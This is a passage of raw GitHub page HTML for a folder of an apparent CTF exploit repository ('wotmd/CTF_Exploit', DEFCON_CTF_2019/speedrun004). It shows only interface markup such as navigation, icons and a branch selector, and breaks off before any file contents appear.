viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> wotmd </span> <span>/</span> CTF_Exploit
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/wotmd/CTF_Exploit/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":186552212,"originating_url":"https://github.com/wotmd/CTF_Exploit/tree/master/DEFCON_CTF_2019/speedrun004","user_id":null}}" data-hydro-click-hmac="13bf9654f738a2b7e50ca90d851f1cdd459f18bd7b51c54ace7e9b41eef9d33b"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/wotmd/CTF_Exploit/refs" cache-key="v0:1557812544.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="d290bWQvQ1RGX0V4cGxvaXQ=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/wotmd/CTF_Exploit/refs" cache-key="v0:1557812544.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="d290bWQvQ1RGX0V4cGxvaXQ=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected 